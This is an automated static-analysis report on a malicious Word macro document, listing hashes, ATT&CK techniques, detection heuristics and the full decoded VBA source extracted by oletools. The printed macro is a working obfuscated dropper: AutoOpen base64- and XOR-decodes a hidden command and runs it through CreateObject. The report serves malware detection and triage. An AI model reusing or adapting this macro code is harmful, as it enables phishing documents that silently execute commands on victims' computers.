Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3d79a1434f800716…

MALICIOUS

Office (OLE)

114.0 KB Created: 2018-06-10 11:17:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: abb2ddd6568b73cb3528bc167634bcbb SHA-1: 9cc851d9795bc1ce3fcda4f0a939a6cbaeaffeb0 SHA-256: 3d79a1434f800716979d20d0a00921db84ee95c396f0ece71fb8b9c21b2feebe
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a legacy WordBasic AutoOpen macro and a VBA macro. The VBA macro utilizes CreateObject, indicating it likely attempts to download and execute a second-stage payload. The AutoOpen macro is a common technique for initial execution within Office documents, suggesting a spearphishing attachment vector.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Function xBEf6Zpqo(kCmmdKP8hm7 As String) As Object
Set xBEf6Zpqo = CreateObject(kCmmdKP8hm7)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
mKNsXb = wlhDKwBX75(ActiveDocument.CustomDocumentProperties(pujiucnH.jcIjHa4Ervi.Caption).Value)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4366 bytes
SHA-256: 11ed69042b5dd2932fa03c8825fed4a70d5a5a262b0de58a58ded0220e907cb3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ReOqEDuE"
Public Function ZSnBWmWTe(ByRef Wmd3UNeCiR As String, ByVal cLCw7vnPN9r As String) As String
Dim KmMqNu01() As Byte
Dim Oy0vdVDhLp7() As Byte
Dim ghIrVwhY As Long
Dim WCtTHgQR As Long
Dim JjCOH6zCEC As Long
Dim ZEj84PCJO As Long
KmMqNu01 = StrConv(Wmd3UNeCiR, vbFromUnicode)
ghIrVwhY = UBound(KmMqNu01)
Oy0vdVDhLp7 = StrConv(cLCw7vnPN9r, vbFromUnicode)
WCtTHgQR = UBound(Oy0vdVDhLp7)
For JjCOH6zCEC = 0 To ghIrVwhY
KmMqNu01(JjCOH6zCEC) = KmMqNu01(JjCOH6zCEC) Xor Oy0vdVDhLp7(ZEj84PCJO)
If ZEj84PCJO < WCtTHgQR Then
ZEj84PCJO = ZEj84PCJO + 1
Else
ZEj84PCJO = 0
End If
Next JjCOH6zCEC
ZSnBWmWTe = StrConv(KmMqNu01, vbUnicode)
End Function
Public Function wlhDKwBX75(ByVal THREE As String) As Byte()
   Dim qFhRGUs1y7u As Integer, qY4UpZ As Integer, tx1ABfbKA(0 To 63) As Byte, VFt5DyU(0 To 127) As Byte
   qY4UpZ = 0
   For qFhRGUs1y7u = Asc("A") To Asc("Z"): tx1ABfbKA(qY4UpZ) = qFhRGUs1y7u: qY4UpZ = qY4UpZ + 1: Next
   For qFhRGUs1y7u = Asc("a") To Asc("z"): tx1ABfbKA(qY4UpZ) = qFhRGUs1y7u: qY4UpZ = qY4UpZ + 1: Next
   For qFhRGUs1y7u = Asc("0") To Asc("9"): tx1ABfbKA(qY4UpZ) = qFhRGUs1y7u: qY4UpZ = qY4UpZ + 1: Next
   tx1ABfbKA(qY4UpZ) = Asc("+"): qY4UpZ = qY4UpZ + 1
   tx1ABfbKA(qY4UpZ) = Asc("/"): qY4UpZ = qY4UpZ + 1
   For qY4UpZ = 0 To 127: VFt5DyU(qY4UpZ) = 255: Next
   For qY4UpZ = 0 To 63: VFt5DyU(tx1ABfbKA(qY4UpZ)) = qY4UpZ: Next
   Dim Tp3CYKPn() As Byte: Tp3CYKPn = StrConv(THREE, vbFromUnicode)
   Dim NINE As Long: NINE = UBound(Tp3CYKPn) + 1
   Do While NINE > 0
      If Tp3CYKPn(NINE - 1) <> Asc("=") Then Exit Do
      NINE = NINE - 1
      Loop
   Dim TEN As Long: TEN = (NINE * 3) \ 4
   Dim ELEVEN() As Byte
   ReDim ELEVEN(0 To TEN - 1) As Byte
   Dim TWELVE As Long
   Dim TWENTYqY4UpZ As Long
   Do While TWELVE < NINE
      Dim THIRTEEN As Byte: THIRTEEN = Tp3CYKPn(TWELVE): TWELVE = TWELVE + 1
      Dim FIFTEEN As Byte: FIFTEEN = Tp3CYKPn(TWELVE): TWELVE = TWELVE + 1
      Dim tx1ABfbKATEEN As Byte: If TWELVE < NINE Then tx1ABfbKATEEN = Tp3CYKPn(TWELVE): TWELVE = TWELVE + 1 Else tx1ABfbKATEEN = Asc("A")
      Dim EQ6WAkpV As Byte: If TWELVE < NINE Then EQ6WAkpV = Tp3CYKPn(TWELVE): TWELVE = TWELVE + 1 Else EQ6WAkpV = Asc("A")
      Dim Tp3CYKPnTEEN As Byte: Tp3CYKPnTEEN = VFt5DyU(THIRTEEN)
      Dim NINETEEN As Byte: NINETEEN = VFt5DyU(FIFTEEN)
      Dim TWENTY As Byte: TWENTY = VFt5DyU(tx1ABfbKATEEN)
      Dim TWENTYwlhDKwBX75 As Byte: TWENTYwlhDKwBX75 = VFt5DyU(EQ6WAkpV)
      Dim TWENTYcZ4UL8KGDM As Byte: TWENTYcZ4UL8KGDM = (Tp3CYKPnTEEN * 4) Or (NINETEEN \ &H10)
      Dim qfT1oiKa As Byte: qfT1oiKa = ((NINETEEN And &HF) * &H10) Or (TWENTY \ 4)
      Dim TWENTYqFhRGUs1y7u As Byte: TWENTYqFhRGUs1y7u = ((TWENTY And 3) * &H40) Or TWENTYwlhDKwBX75
      ELEVEN(TWENTYqY4UpZ) = TWENTYcZ4UL8KGDM: TWENTYqY4UpZ = TWENTYqY4UpZ + 1
      If TWENTYqY4UpZ < TEN Then ELEVEN(TWENTYqY4UpZ) = qfT1oiKa: TWENTYqY4UpZ = TWENTYqY4UpZ + 1
      If TWENTYqY4UpZ < TEN Then ELEVEN(TWENTYqY4UpZ) = TWENTYqFhRGUs1y7u: TWENTYqY4UpZ = TWENTYqY4UpZ + 1
      Loop
   wlhDKwBX75 = StrConv(ELEVEN, vbUnicode)
End Function

Public Function xBEf6Zpqo(kCmmdKP8hm7 As String) As Object
Set xBEf6Zpqo = CreateObject(kCmmdKP8hm7)
End Function
Sub AutoOpen()
mKNsXb = wlhDKwBX75(ActiveDocument.CustomDocumentProperties(pujiucnH.jcIjHa4Ervi.Caption).Value)
Dim mXap6J As String
mXap6J = ZSnBWmWTe(wlhDKwBX75(pujiucnH.lW4bqR.Text), mKNsXb)
vXmt1Tv = pujiucnH.YJUKrnf9(mXap6J, mKNsXb)
End Sub

Attribute VB_Name = "pujiucnH"
Attribute VB_Base = "0{68EDF1CE-119D-4B21-8047-73DD0F10127B}{7198AB29-9CB0-4018-A030-C854BC4AF052}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
              
Function YJUKrnf9(VFt5DyU As String, ByVal kH3KFOhozc As String)
Dim tx1ABfbKA: Set tx1ABfbKA = xBEf6Zpqo(ZSnBWmWTe(wlhDKwBX75(pujiucnH.lW4bqR.Tag), kH3KFOhozc))
tx1ABfbKA.Run VFt5DyU, 0, True
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.